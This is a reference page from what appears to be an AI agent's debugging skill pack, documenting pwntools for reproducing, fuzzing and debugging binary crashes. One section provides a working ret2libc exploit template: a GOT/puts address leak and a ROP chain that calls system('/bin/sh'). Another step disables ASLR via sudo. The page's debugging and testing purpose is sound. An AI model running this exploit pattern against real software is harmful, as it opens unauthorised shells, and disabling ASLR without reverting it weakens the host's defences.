Back to Oh My Openagent

pwntools — Scripted Binary / Network Interaction

packages/shared-skills/skills/debugging/references/tools/pwntools.md

4.5.127.2 KB
Original Source

pwntools — Scripted Binary / Network Interaction

https://docs.pwntools.com/en/stable/ · https://github.com/Gallopsled/pwntools

pwntools is a Python framework for building reproducible interactions with binaries and network services. Originally built for CTF exploitation, it's the correct tool for any situation where you need:

  • A crafted input sent to a binary or network service, repeatably
  • A "failing test" equivalent for a bug that only manifests with specific byte-level input
  • A fuzz harness
  • An exploit PoC
  • Anything where you're tempted to use echo ... | ./binary but need more control than shell allows

Use pwntools for Phase 5 reproduction of binary bugs and Phase 7 tests against binaries.


Install

bash
pip install pwntools
# Or in a venv:
python -m venv .venv && source .venv/bin/activate
pip install pwntools

# Verify
python -c 'from pwn import *; print("ok")'

On some Linux distros you may need build deps: apt install python3-dev libssl-dev.


The core API in five idioms

1. Process / Remote — the same interface

python
from pwn import *

# Local process
p = process('./target')

# Remote service
p = remote('example.com', 1337)

# SSH (tunnel to a remote process)
shell = ssh('user', 'host', password='...')
p = shell.process('./target', cwd='/tmp')

# Same methods on all of the above — this is the value proposition

2. I/O — the only five methods you need

python
p.send(b'data')                      # send bytes
p.sendline(b'data')                  # send bytes + \n
p.recv(n)                            # receive up to n bytes
p.recvuntil(b'> ')                   # receive until pattern (blocks)
p.recvline()                         # receive until \n
p.interactive()                      # hand control to your terminal (for manual exploration)

# Combined
p.sendlineafter(b'prompt> ', b'payload')
p.sendafter(b'key:', key)

Timeouts:

python
try:
    data = p.recvuntil(b'done', timeout=5)
except pwnlib.exception.EOFError:
    print('process died')
except TimeoutError:
    print('no response in 5s')

3. context — set arch/OS once, tools align

python
context.binary = elf = ELF('./target')   # auto-sets arch/os/endianness
# or explicitly:
context.update(arch='amd64', os='linux', endian='little', bits=64)

After setting context, helpers like asm(), disasm(), cyclic(), and ROP() produce correct output for that target automatically.

4. ELF — parse without reverse-engineering by hand

python
elf = ELF('./target')

elf.symbols['main']                  # address of main
elf.plt['printf']                    # address in PLT (dynamic linkage)
elf.got['printf']                    # GOT entry
elf.address = 0x555555554000         # set base for PIE binaries
elf.search(b'/bin/sh')               # find string or bytes in the binary
elf.functions['main'].address        # same as elf.symbols['main']
list(elf.functions)[:10]             # first 10 function names

For the libc that's linked:

python
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.symbols['system']

5. cyclic — find offsets without counting

For "where exactly does user input reach this variable" bugs:

python
p = process('./target')
p.sendline(cyclic(256))              # send a De Bruijn pattern
# Crash occurs; note the crash value (e.g. RIP = 0x6161616c)
offset = cyclic_find(0x6161616c)     # returns 12 (or wherever in the pattern)
# Now you know: byte 12 of your input lands at RIP

Saves an hour of "pad by N bytes then check" iteration.


Logging during debug

pwntools logs output by default. Configure level in the script:

python
context.log_level = 'debug'          # very verbose — shows sent/received bytes
context.log_level = 'info'           # default
context.log_level = 'warning'        # quiet

For long scripts, log milestones:

python
log.info('Connected to target')
log.success('Bypassed the check')
log.failure('Canary corrupted')
log.progress('brute-forcing').status('attempt %d' % i)

Typical debug-session patterns

Reproduce a crash with a specific input

python
# /tmp/debug-repro.py
from pwn import *
context.binary = './target'

p = process('./target')
p.sendlineafter(b'> ', b'<bad input that crashes>')
p.wait()
# If it crashed, p.poll() returns non-zero
assert p.poll() is not None and p.poll() != 0, 'expected crash, got clean exit'
log.success(f'confirmed crash (exit {p.poll()})')

Journal this script path. Run it as your "red test":

bash
python /tmp/debug-repro.py

Fuzz harness for a suspected input class

python
# /tmp/debug-fuzz.py
from pwn import *
import random

context.binary = './target'
context.log_level = 'warning'        # keep quiet in the loop

crashes = []
for i in range(1000):
    payload = bytes(random.randint(0, 255) for _ in range(random.randint(1, 100)))
    p = process('./target')
    p.sendline(payload)
    p.wait()
    if p.poll() is not None and p.poll() < 0:   # crashed by signal
        crashes.append((payload, p.poll()))
        log.success(f'iter {i}: crash sig={-p.poll()}')

open('/tmp/debug-crashes.txt', 'w').write(repr(crashes))
log.info(f'found {len(crashes)} crashes')

Automated exploit harness (CTF or self-testing a known CVE)

python
from pwn import *
context.binary = elf = ELF('./target')
libc = elf.libc or ELF('/lib/x86_64-linux-gnu/libc.so.6')

p = process('./target')

# Leak
p.sendline(b'A' * 64 + p64(elf.plt['puts']) + p64(elf.symbols['main']) + p64(elf.got['puts']))
leak = u64(p.recv(6).ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']
log.success(f'libc base: {hex(libc.address)}')

# Exploit
rop = ROP(libc)
rop.system(next(libc.search(b'/bin/sh')))
p.sendline(b'A' * 64 + rop.chain())

p.interactive()

Integration with gdb / pwndbg

pwntools can launch your process under gdb:

python
p = gdb.debug('./target', gdbscript='''
    break main
    continue
''')

Or attach to a running pwntools-launched process:

python
p = process('./target')
gdb.attach(p, gdbscript='break *0x401234')
# continues in a new terminal window with gdb attached
p.sendline(b'trigger input')

This is the best way to debug a specific crash repeatably — pwntools drives input, gdb/pwndbg observes runtime state.


Gotchas

  • Python version: pwntools supports Python 3.8+. Very old distros may not have it.
  • p.interactive() blocks. It's for manual exploration; remove it from automated scripts.
  • ASLR on local runs: turn off for reproducibility during debugging: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space (remember to revert — journal this!).
  • gdb.debug() requires gdb-multiarch for cross-arch binaries.
  • Subprocess cleanup: if your script crashes, orphan ./target processes may linger. Kill them at Phase 9 or add atexit cleanup.

Phase 9 cleanup specifics

bash
# Remove pwntools debug scripts
rm -f /tmp/debug-*.py
rm -f /tmp/debug-crashes.txt

# Kill orphan target processes from failed runs
pkill -f './target' || true     # adjust to actual binary name

# Restore ASLR if disabled
# echo 2 | sudo tee /proc/sys/kernel/randomize_va_space     # Linux default

# Revert any binary patches applied for testing (see native-binary.md for details)